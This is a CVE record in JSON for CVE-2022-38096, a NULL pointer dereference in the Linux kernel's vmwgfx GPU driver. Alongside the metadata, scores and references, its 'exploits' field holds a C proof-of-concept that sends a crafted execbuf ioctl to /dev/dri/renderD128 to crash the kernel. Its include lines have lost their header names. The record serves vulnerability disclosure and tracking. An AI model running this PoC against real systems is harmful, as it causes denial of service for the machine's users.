{ "dataType": "CVE_RECORD", "cveMetadata": { "state": "PUBLISHED", "cveId": "CVE-2022-38096", "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "assignerShortName": "Anolis", "dateUpdated": "2024-09-16T19:46:43.355Z", "dateReserved": "2022-09-07T00:00:00", "datePublished": "2022-09-09T14:39:51.163117Z" }, "containers": { "cna": { "title": "There is a NULL pointer vulnerability in vmwgfx driver", "datePublic": "2022-09-06T00:00:00", "providerMetadata": { "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "shortName": "Anolis", "dateUpdated": "2024-06-25T21:08:05.642043" }, "descriptions": [ { "lang": "en", "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)." } ], "affected": [ { "vendor": "Linux", "product": "kernel", "versions": [ { "version": "v4.20-rc1", "status": "affected", "lessThan": "5.13.0-52*", "versionType": "custom" } ] } ], "references": [ { "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073" }, { "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html" } ], "credits": [ { "lang": "en", "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab" } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "version": "3.1" } } ], "problemTypes": [ { "descriptions": [ { "type": "CWE", "lang": "en", "description": "CWE-476 NULL Pointer Dereference", "cweId": "CWE-476" } ] } ], "x_generator": { "engine": "Vulnogram 0.0.9" }, "source": { "defect": [ "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073" ], "discovery": "INTERNAL" }, "exploits": [ { "lang": "en", "value": "#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}" } ] }, "adp": [ { "affected": [ { "vendor": "linux", "product": "linux_kernel", "cpes": [ "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*" ], "defaultStatus": "unknown", "versions": [ { "version": "v4.20-rc1", "status": "affected", "lessThan": "5.14", "versionType": "custom" } ] } ], "metrics": [ { "other": { "type": "ssvc", "content": { "timestamp": "2024-06-26T13:45:25.191519Z", "id": "CVE-2022-38096", "options": [ { "Exploitation": "poc" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "role": "CISA Coordinator", "version": "2.0.3" } } } ], "title": "CISA ADP Vulnrichment", "providerMetadata": { "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-06-26T13:49:29.690Z" } }, { "providerMetadata": { "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T10:45:52.802Z" }, "title": "CVE Program Container", "references": [ { "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073", "tags": [ "x_transferred" ] }, { "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html" } ] } ] }, "dataVersion": "5.1" }